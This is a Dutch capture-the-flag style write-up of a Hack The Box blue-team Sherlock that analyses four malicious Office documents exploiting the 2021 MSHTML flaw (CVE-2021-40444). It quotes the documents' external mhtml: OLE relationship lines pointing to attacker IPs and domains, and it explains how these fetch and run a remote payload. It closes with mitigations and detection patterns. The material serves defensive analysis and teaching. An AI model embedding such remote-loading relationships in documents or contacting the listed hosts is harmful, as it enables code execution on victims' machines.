HTB Sherlock: MSHTML (Hard) – Complete Nederlandse Write-up

Hack The Box Sherlock – MSHTML
Moeilijkheidsgraad: Hard
Released: 7 juli 2026
Gemaakt door: letsdefendio / @Bohan Zhang
Categorie: Blue Team / Malware Analysis / DFIR

Deze write-up is geschreven door inqwert

Officiële scenario-omschrijving (Hack The Box)

2021’s 0-Day MSHTML

This challenge prepared by @Bohan Zhang
Malware samples: MalwareBazaar

Kort samengevat: we krijgen vier kwaadaardige Microsoft Office-documenten die de beruchte MSHTML (Trident) 0-day uit 2021 misbruiken. Ons doel is om de malafide IP-adressen en domeinen te extraheren die in de documenten zijn verstopt, en het bijbehorende CVE-nummer te identificeren.

Bestanden in de download

BestandTypeOpmerking
Employees_Contact_Audit_Oct_2021.docxDOCX (OOXML)Bevat externe OLE-object relationship
Employee_W2_Form.docxDOCX (OOXML)Bevat externe OLE-object relationship
Work_From_Home_Survey.docDOCX vermomd als .docHTML-entity obfuscation
income_tax_and_benefit_return_2021.docxDOCX (OOXML)Bevat externe OLE-object relationship

Voorbereiding – bestanden uitpakken

Waarom eerst dit?
De download bevat een geneste zip met een waarschuwing. Altijd eerst de structuur bekijken.

mkdir -p /home/workdir/artifacts/mshtml
unzip -o -P hacktheblue /home/workdir/attachments/MSHTML.zip -d /home/workdir/artifacts/mshtml/
cat /home/workdir/artifacts/mshtml/danger.txt
# Password voor danger.zip staat in danger.txt: &PD8LhraU1hx
unzip -o -P '&PD8LhraU1hx' /home/workdir/artifacts/mshtml/danger.zip -d /home/workdir/artifacts/mshtml/
ls -la /home/workdir/artifacts/mshtml/

Belangrijk: Deze bestanden zijn echte malware-samples. Analyseer ze alleen in een geïsoleerde omgeving (VM of Pwnbox).

Task 1 – Malicious IP in Employees_Contact_Audit_Oct_2021.docx

Denkproces:
DOCX-bestanden zijn ZIP-archieven. De externe links (OLE-objecten) staan bijna altijd in word/_rels/document.xml.rels. Daar zoeken we naar TargetMode="External" en mhtml: URIs.

cd /home/workdir/artifacts/mshtml
unzip -p Employees_Contact_Audit_Oct_2021.docx word/_rels/document.xml.rels

Relevante regel:

<Relationship Id="rId5" Type=".../oleObject" 
Target="mhtml:http://175.24.190.249/note.html!x-usc:http://175.24.190.249/note.html" 
TargetMode="External"/>
TaskAntwoord
1175.24.190.249

Task 2 – Malicious domain in Employee_W2_Form.docx

Denkproces:
Zelfde aanpak als Task 1. We openen weer het document.xml.rels-bestand.

unzip -p Employee_W2_Form.docx word/_rels/document.xml.rels

Relevante regel:

Target="mhtml:arsenal.30cm.tw:1212/word.html!x-usc:arsenal.30cm.tw:1212/word.html"
TaskAntwoord
2arsenal.30cm.tw

Task 3 – Malicious domain in Work_From_Home_Survey.doc

Denkproces:
Dit bestand heeft de extensie .doc, maar is eigenlijk een OOXML-bestand (DOCX). Bovendien is de malicious URL geobfusceerd met HTML-entities (&#109;&#104;...).

# Eerst controleren of het een ZIP is
unzip -l Work_From_Home_Survey.doc | head

# Relationships ophalen
unzip -p Work_From_Home_Survey.doc word/_rels/document.xml.rels

De Target-waarde is HTML-encoded. We decoderen die:

python3 -c '
import html
s = "mhtml:http://trendparlye.com/wiki0509.html!x-usc:http://trendparlye.com/wiki0509.html"
print(html.unescape(s))
'

Resultaat:

mhtml:http://trendparlye.com/wiki0509.html!x-usc:http://trendparlye.com/wiki0509.html
TaskAntwoord
3trendparlye.com

Task 4 – Malicious domain in income_tax_and_benefit_return_2021.docx

Denkproces:
Weer dezelfde methode: document.xml.rels openen.

unzip -p income_tax_and_benefit_return_2021.docx word/_rels/document.xml.rels

Relevante regel:

Target="mhtml:http://hidusi.com/e8c76295a5f9acb7/side.html!x-usc:http://hidusi.com/e8c76295a5f9acb7/side.html"
TaskAntwoord
4hidusi.com

Task 5 – CVE-nummer

Denkproces:
Alle vier de documenten gebruiken dezelfde techniek: een externe OLE-object relationship met een mhtml: URI. Dit is het klassieke exploit-pad van de MSHTML (Trident) 0-day uit september 2021.

De kwetsbaarheid staat bekend als:

CVE-2021-40444 – Microsoft MSHTML Remote Code Execution Vulnerability

Deze CVE werd actief geëxploiteerd in het wild voordat er een patch beschikbaar was. Aanvallers plaatsten een malicious ActiveX-control in een Office-document dat via MSHTML remote HTML/JavaScript laadde en uiteindelijk een payload uitvoerde.

TaskAntwoord
5CVE-2021-40444

Complete antwoordenoverzicht

TaskVraagAntwoord
1Malicious IP in Employees_Contact_Audit_Oct_2021.docx175.24.190.249
2Malicious domain in Employee_W2_Form.docxarsenal.30cm.tw
3Malicious domain in Work_From_Home_Survey.doctrendparlye.com
4Malicious domain in income_tax_and_benefit_return_2021.docxhidusi.com
5CVE-nummerCVE-2021-40444

Hoe werkt de aanval technisch?

De kern van de exploit zit in het OLE-object met TargetMode="External" en een mhtml: URI:

  • Office opent het document en ziet een externe relationship.
  • Windows gebruikt de legacy MSHTML (Trident) engine om de remote HTML te renderen.
  • Via een ActiveX-control of JavaScript in die HTML wordt een payload (meestal een CAB of DLL) gedownload en uitgevoerd.
  • Dit gebeurt vaak zonder dat de gebruiker macro’s hoeft in te schakelen – alleen het openen van het document is genoeg (afhankelijk van de patch-status en Protected View).

Blue Team lessen & mitigaties

MaatregelWaarom effectiefHoe implementeren
Office Protected View + Mark of the WebBlokkeert automatische uitvoering van externe contentGPO: “Open Office documents in Protected View”
Attack Surface Reduction (ASR) rulesBlokkeert Office → child process en Office → executable contentEnable “Block Office applications from creating executable content”
Disable MSHTML / Internet Explorer componentsVerwijdert de kwetsbare engineVia Windows Features of AppLocker/WDAC
Network filtering op mhtml: en verdachte domainsVoorkomt de callback naar de C2Proxy / DNS / EDR network rules
YARA / Sigma rules op document.xml.relsDetecteert de externe OLE + mhtml patternScan op TargetMode="External" + mhtml:
Patch managementCVE-2021-40444 is al lang gepatchedZorg dat September 2021 (en latere) patches geïnstalleerd zijn

Verder lezen op hackerscollectief.nl/

MSHTML is een uitstekende Hard Sherlock om te leren hoe moderne document-based malware werkt en hoe je de indicators snel uit OOXML-bestanden haalt. De techniek (externe OLE + mhtml:) is nog steeds relevant voor blue teamers die phishing-campagnes analyseren.

Write-up door inqwert – Kennis zonder ruis.